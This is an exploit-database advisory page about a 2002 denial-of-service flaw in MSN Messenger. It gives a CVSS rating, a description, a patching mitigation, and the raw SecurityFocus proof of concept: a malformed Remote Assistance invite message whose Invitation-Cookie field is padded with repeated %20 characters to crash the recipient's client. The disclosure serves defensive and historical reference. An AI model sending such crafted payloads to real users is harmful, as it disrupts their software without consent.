Microsoft MSN Messenger Invite Request Vulnerability

vendor:

MSN Messenger

by:

SecurityFocus

7.5

CVSS

HIGH

Buffer Overflow

120

CWE

Product Name: MSN Messenger

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: Yes

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2002

Microsoft MSN Messenger Invite Request Vulnerability

A vulnerability has been reported in some versions of MSN Messenger. Under some circumstances, it may be possible to crash the client when it receives a malformed invite request. By including a number of HTML-encoded space characters (%20) in the Invitation-Cookie field, and sending the header to a remote user, it is reportedly possible to crash a remote user's client.

Mitigation:

Ensure that the MSN Messenger client is up to date with the latest security patches.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/4827/info

Microsoft's MSN Messenger is an instant messenging client for Windows based machines, based on the Passport system.

A vulnerability has been reported in some versions of MSN Messenger. Under some circumstances, it may be possible to crash the client when it receives a malformed invite request. By including a number of HTML-encoded space characters (%20) in the Invitation-Cookie field, and sending the header to a remote user, it is reportedly possible to crash a remote user's client. 

MIME-Version: 1.0
Content-Type: text/x-msmsgsinvite; charset=UTF-8

Application-Name: Remote Assistance
Application-GUID: {56b994a7-380f-410b-9985-c809d78c1bdc}
Session-Protocol: SM1
Application-URL: http://www.microsoft.com
Invitation-Command: INVITE
Invitation-Cookie: 54902160%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20
Session-ID: {8B1BE64F-4019-489D-B1A3-EC0BA993651B}